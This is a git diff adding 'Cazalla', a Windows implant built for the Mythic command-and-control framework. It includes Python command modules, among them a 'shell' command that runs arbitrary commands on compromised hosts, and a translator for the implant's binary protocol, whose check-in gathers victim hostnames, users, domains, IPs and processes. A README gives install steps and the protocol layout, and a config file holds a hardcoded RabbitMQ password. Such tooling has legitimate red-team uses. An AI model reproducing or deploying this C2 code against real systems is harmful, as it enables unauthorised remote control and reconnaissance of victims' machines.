zUeGIyg=9GH(DCqTB9pUbUib?F(?tl4O2m16!N75#Xhx|kOg~~ytUY;~$)~~2oMY8( zqOa&x*lycgYoYE=2%UF)s&klb|CN!JGE+rjW92t$~e$IdK&*|E`H&bkYuq((gZd>}CKq2`&LLtK+M4Bv+VQ?pQTB8aybYxhn z&{7ND;Pia~E}afHEf)?oh#hjPF++wNdQ`$(S5VarpS+6O^awwl%$6p8R!;2)!mFwa z&e6uZOKVh82UZ5dE+g4B}!#&(NWxpQ2}W`%2k^ts_~dC6HJ zVgGeN1U_i#m)^meP(H`v=J8J>dykw#e#NOKy`ozp1kKF&x~k-R0(#ruN+RY=4AzE< zf4|~Z&sh&mPEE;nT&Hzy=O}tQHVr${Xn&U1d6kR`Kz7POh5k8h`Mx{8d%!10(yAyZ zB*qQA(26O9Z;0G~08=`CI&H7JQ_mJ8j)r2Enh?1KixKjHX7w<^y6y)II%kNPMA4O1 zwt`H=@2^EF+Q&@FRkY7S{7(iB!#{o;K!ks~cwcW;4N*8*6th3I%g|XG&~BXU@bU!Q!#K}?7b)8)nJSSfAJHjkVQ3xGITjrH*vyu>Ru`lxm%*G9lnrfw zgmEO=RAgH^IMr|=pIS{cn(VFqIU0ewK{&EIIvq@7umkh@tKW`9hCT8|hgfQEdCTY% zcFa8ACmRhZL$K`@o4};PMaQiJ$s@SCSi_NP=nkqS`v~fZo?V1st5eVB;TORjify15 znTTMKfEHL~lcRF=#V2ECh!8yEYSLmr*o6@xoVfWDLy+8#zqM;xu^HatB4=Cw{ZGp7 zg9bR-Ncy}a!aCi^0aow*pzkY7gz=Jj^GO(4e4}St*w+Q~-NT~?yHX-)kPuYzWXpF5 zYvN;;cA;lZ{6GD>XF6B8dna|sD5%JO9t*AoNAV}8rBQWuK6?cSSo(bT)t|nfa;lOh zkn{`EjapMgYg}uIt6524@wWi^XXs}A0}18hPwV-KvVoS9zPdTH7lKREgz%OEV;`e+ z-t=1;XJ3`sN9wa+Nl)tPS!yz6y|ObA{7z;Ohk}l&*!K@5(&4(il5Se`C;Sa0_pJue z=AEU&=f2so)U)$j{p`14@HB>Y>3&yTB@wpR88wOQEjD3v*^hQs_jeyT;Vo*(WN5$Aq~T;(MLaFRX$ z(`c>y>fL;`8voOMuH#SC1tG%gtkwg)Wn-^6T_Sz^?>_&w{B<6Xk^OHLGV;F$@b5nV zw*2*jC$)d|`47uK1O2DZzlZ)mE&m?+|JC&VW9WY`%70k?J(+(d{Ewwm;13&FOSAIB U?FGurzg9zAQy)~N{wV7I0nA!ISpWb4 literal 0 HcmV?d00001 diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg new file mode 100644 index 0000000..7647fb8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg @@ -0,0 +1,266 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py new file mode 100644 index 0000000..d7c8631 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -0,0 +1,37 @@ +from mythic_container.MythicCommandBase import * +import json + + +class ExitArguments(TaskArguments): + + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + if len(self.command_line) > 0: + raise Exception("Este comando no debe tener parametros") + + +class ExitCommand(CommandBase): + cmd = "exit" + needs_admin = False + help_cmd = "exit" + description = "Salir del Callback" + version = 1 + supported_ui_features = ["callback_table:exit"] + author = "Kaseya OFSTeam" + argument_class = ExitArguments + attributes = CommandAttributes( + builtin=True, + supported_os=[ SupportedOS.Windows ], + suggested_command=True + ) + attackmapping = [] + + async def create_tasking(self, task: MythicTask) -> MythicTask: + return task + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/shell.py b/Payload_Type/cazalla/cazalla/agent_functions/shell.py new file mode 100644 index 0000000..7bccbc8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/shell.py @@ -0,0 +1,44 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class ShellArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="command", + type=ParameterType.String, + description="Comando a ejecutar" + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Se debe indicar un comando") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class ShellCommand(CommandBase): + cmd = "shell" + needs_admin = False + help_cmd = "shell {command}" + description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC" + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1059"] + argument_class = ShellArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows] + ) + + async def create_tasking(self, task: MythicTask) -> MythicTask: + task.display_params = task.args.get_arg("command") + return task + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/main.py b/Payload_Type/cazalla/main.py new file mode 100644 index 0000000..aec3d5d --- /dev/null +++ b/Payload_Type/cazalla/main.py @@ -0,0 +1,11 @@ +#from mywebhook.webhook import * +import mythic_container +import asyncio +import cazalla +#import websocket.mythic.c2_functions.websocket +from translator.translator import * +#from my_logger import logger +#from basic_command_augment import * +#from basic_eventer.my_eventing import * + +mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file diff --git a/Payload_Type/cazalla/rabbitmq_config.json b/Payload_Type/cazalla/rabbitmq_config.json new file mode 100644 index 0000000..f6748ba --- /dev/null +++ b/Payload_Type/cazalla/rabbitmq_config.json @@ -0,0 +1,6 @@ +{ + "rabbitmq_host": "127.0.0.1", + "rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p", + "mythic_server_host": "127.0.0.1", + "debug_level": "debug" +} \ No newline at end of file diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt new file mode 100644 index 0000000..897dd4b --- /dev/null +++ b/Payload_Type/cazalla/requirements.txt @@ -0,0 +1,9 @@ +aio-pika==9.0.4 +dynaconf==3.1.11 +ujson==5.7.0 +aiohttp==3.8.3 +psutil==5.9.4 +grpcio +grpcio-tools +mythic-container +pyaml \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/__init__.py b/Payload_Type/cazalla/translator/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py new file mode 100644 index 0000000..33021c8 --- /dev/null +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -0,0 +1,57 @@ +import json + + +commands = { + "get_tasking": {"hex_code": 0x00, "input_type": None}, + "checkin": {"hex_code": 0xf1, "input_type": None}, + "post_response": {"hex_code": 0x01, "input_type": None}, + "shell": {"hex_code": 0x54, "input_type": "string"}, + "exit": {"hex_code": 0x08, "input_type":None} +} + + +def responseTasking(tasks): + data = b"" + dataTask = b"" + + dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big") + + for task in tasks: + command_to_run = task["command"] + + if commands[command_to_run]["input_type"] == "string": + data = commands[command_to_run]["hex_code"].to_bytes(1, "big") + data += task["id"].encode() + + if task["parameters"] != "": + parameters = json.loads(task["parameters"]) + data += len(parameters).to_bytes(4,"big") + for param in parameters: + data += len(parameters[param]).to_bytes(4, "big") + data += parameters[param].encode() + else: + data += b"\x00\x00\x00\x00" + + dataTask += len(data).to_bytes(4, "big") + data + + elif commands[command_to_run]["input_type"] == "int": + print("Unsupported type (for now...)") + + dataToSend = dataHead + dataTask + + return dataToSend + + +def responseCheckin(uuid): + data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01" + return data + +def responsePosting(responses): + data = len(responses).to_bytes(4, "big") + for response in responses: + if response["status"] == "success": + data += b"\x01" + else: + data += b"\x00" + + return data \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py new file mode 100644 index 0000000..900c544 --- /dev/null +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -0,0 +1,96 @@ +from translator.utils import * +import ipaddress + +def checkIn(data): + + # Retrieve UUID + uuid = data[:36] + data = data[36:] + + # Retrieve IPs + numIPs = int.from_bytes(data[0:4]) + data = data[4:] + i = 0 + IPs = [] + while i < numIPs: + ip = data[:4] + data = data[4:] + addr = str(ipaddress.ip_address(ip)) + IPs.append(addr) + i += 1 + + # Retrieve OS + targetOS, data = getBytesWithSize(data) + + # Retrive Architecture + archOS = data[0] + if archOS == 0x64: + archOS = "x64" + elif archOS == 0x86: + archOS = "x86" + else: + archOS = "" + data = data[1:] + + # Retrieve HostName + hostname, data = getBytesWithSize(data) + + # Retrieve Username + username, data = getBytesWithSize(data) + + # Retrieve Domaine + domain, data = getBytesWithSize(data) + + # Retrieve PID + pid = int.from_bytes(data[0:4]) + data = data[4:] + + # Retrieve Process Name + processName, data = getBytesWithSize(data) + + #Retrieve External IP + externalIP, data = getBytesWithSize(data) + + dataJson = { + "action": "checkin", + "ips": IPs, + "os": targetOS.decode('cp850'), + "user": username.decode('cp850'), + "host": hostname.decode('cp850'), + "domain": domain.decode('UTF-16LE'), + "process_name":processName.decode('cp850'), + "pid": pid, + "uuid": uuid.decode('cp850'), + "architecture": archOS , + "externalIP": externalIP.decode('cp850'), + } + + return dataJson + + +def getTasking(data): + numTasks = int.from_bytes(data[0:4]) + dataJson = { "action": "get_tasking", "tasking_size": numTasks } + return dataJson + + +def postResponse(data): + + resTaks = [] + + uuidTask = data[:36] + data = data[36:] + output, data = getBytesWithSize(data) + jsonTask = { + "task_id": uuidTask.decode('cp850'), + "user_output":output.decode('cp850'), + } + + jsonTask["completed"] = True + resTaks.append(jsonTask) + + dataJson = { + "action": "post_response", + "responses": resTaks + } + return dataJson \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py new file mode 100644 index 0000000..b2d4d9e --- /dev/null +++ b/Payload_Type/cazalla/translator/translator.py @@ -0,0 +1,52 @@ +import json +import base64 +import binascii +import os + +from translator.utils import * +from translator.commands_from_c2 import * +from translator.commands_from_implant import * + +from mythic_container.TranslationBase import * + +class cazalla_translator(TranslationContainer): + name = "cazalla_translator" + description = "python translation service for the Kaseya C agent Cazalla" + author = "OFSTeam" + + async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: + response = TrGenerateEncryptionKeysMessageResponse(Success=True) + response.DecryptionKey = b"" + response.EncryptionKey = b"" + return response + + async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: + response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) + print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) + if inputMsg.Message["action"] == "checkin": + print("Response CHECKIN") + response.Message = responseCheckin(inputMsg.Message["id"]) + elif inputMsg.Message["action"] == "get_tasking": + print("Response TASKING") + response.Message = responseTasking(inputMsg.Message["tasks"]) + elif inputMsg.Message["action"] == "post_response": + print("Response POSTREP") + response.Message = responsePosting(inputMsg.Message["responses"]) + return response + + async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: + response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) + print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) + #response.Message = json.loads(inputMsg.Message) + data = inputMsg.Message + if data[0] == commands["checkin"]["hex_code"]: + print("CHECK IN") + response.Message = checkIn(data[1:]) + elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING + print("GET TASKING") + response.Message = getTasking(data[1:]) + elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE + print("POST RESPONSE") + response.Message = postResponse(data[1:]) + + return response diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py new file mode 100644 index 0000000..2349376 --- /dev/null +++ b/Payload_Type/cazalla/translator/utils.py @@ -0,0 +1,7 @@ +import base64 +import os + +def getBytesWithSize(data): + size = int.from_bytes(data[0:4]) + data = data[4:] + return data[:size], data[size:] \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..10bd321 --- /dev/null +++ b/README.md @@ -0,0 +1,185 @@ +# Cazalla - Basic Mythic Implant in C + +Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework. + +This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. + +Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates. + +## Install Cazalla + +Once Mythic is installed and running, use the following command to install Cazalla: + +```sh +./mythic-cli install github +``` + +## Detection + +A YARA rule can be provided for detection purposes. + +## Communication Protocol + +### HEADER - Implant to C2 + +| Key | Key Len (bytes) | Type | +|---------|-------------------|------------| +| UUID | 36 | Str (char*)| +| Action | 1 | UInt32 | + +### HEADER - C2 to Implant + +| Key | Key Len (bytes) | Type | +|---------|-------------------|------------| +| Action | 1 | Int32 | + +UUID | BODY + +#### Checkin - Implant to C2 + +Expected: + +```json +{ + "action": "checkin", + "uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15", + "ip": "127.0.0.1", + "os": "win", + "arch": "x64", + "hostname": "PC", + "user": "bob", + "domain": "domain.com", + "pid": 123, + "processname": "malware.exe" +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| UUID | 36 | Str (char*) | +| Size IP | 4 | Uint32 | +| IP | Size IP | Str (char*) | +| Size OS | 4 | Uint32 | +| OS | Size OS | Str (char*) | +| Architecture | 1 | Int | +| Size Hostname | 4 | Uint32 | +| HostName | Size Hostname | Str (char*) | +| Size Username | 4 | Uint32 | +| Username | Size Username | Str (char*) | +| Size Domain | 4 | Uint32 | +| Domain | Size Domain | Str (char*) | +| PID | 4 | Uint32 | +| Size Process | 4 | Uint32 | +| Process Name | Size Process Name | Str (char*) | +| Size ExternIP | 4 | Uint32 | +| Extern IP | Size Extern IP | Str (char*) | + +### Checkin - C2 to Implant + +| Key | Key Len (bytes) | Type | +|----------|-------------------|-------------| +| New UUID | 36 | Str (char*) | +| Status | 1 | Byte | + +### GetTasking - Implant to C2 + +Expected: + +```json +{ + "action": "get_tasking", + "tasking_size": 1 +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number tasks | 4 | Uint32 | + +### GetTasking - C2 to Implant + +Expected: + +```json +{ + "action": "get_tasking", + "tasks": [ + { + "command": "command name", + "parameters": "command param string", + "timestamp": 1578706611.324671, + "id": "task uuid" + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| NumberOfTasks | 4 | Uint32 | +| Size Of Task1 | 4 | Uint32 | +| Task1 CMD | 1 | Int | +| Task1 UUID | 36 | Str (char*) | +| Task1 LenPara1| 4 | Uint32 | +| Task1 Param1 | LenParam1 Task1 | Str(char*) | + +### Post Response Header - Implant to C2 + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number Resp | 4 | Uint32 | + +### Post Response Header - C2 to Implant + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number Resp | 4 | Uint32 | + +### Post Response Classic Output Return - Implant to C2 + +Expected: + +```json +{ + "action": "post_response", + "responses": [ + { + "task_id": "uuid of task", + ... response message + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| UUID Resp 1 | 36 | Str (char*) | +| Size Output R1| 4 | Uint32 | +| Output R1 | Size Output | Bytes | +| Status R1 | 1 | Int | + +### Post Response Classic Output Return - C2 to Implant + +Expected: + +```json +{ + "action": "post_response", + "responses": [ + { + "task_id": UUID, + "status": "success" or "error", + "error": "error message if it exists" + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Status Resp1 | 1 | Int | + +## Future Development + +This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities. + diff --git a/agent_icons/.keep b/agent_icons/.keep new file mode 100644 index 0000000..e69de29 diff --git a/agent_icons/cazalla.svg b/agent_icons/cazalla.svg new file mode 100644 index 0000000..7647fb8 --- /dev/null +++ b/agent_icons/cazalla.svg @@ -0,0 +1,266 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config.json b/config.json new file mode 100644 index 0000000..3b2d2cf --- /dev/null +++ b/config.json @@ -0,0 +1,7 @@ +{ + "exclude_payload_type": false, + "exclude_c2_profiles": true, + "exclude_documentation_payload": true, + "exclude_documentation_c2": true, + "exclude_agent_icons": false +}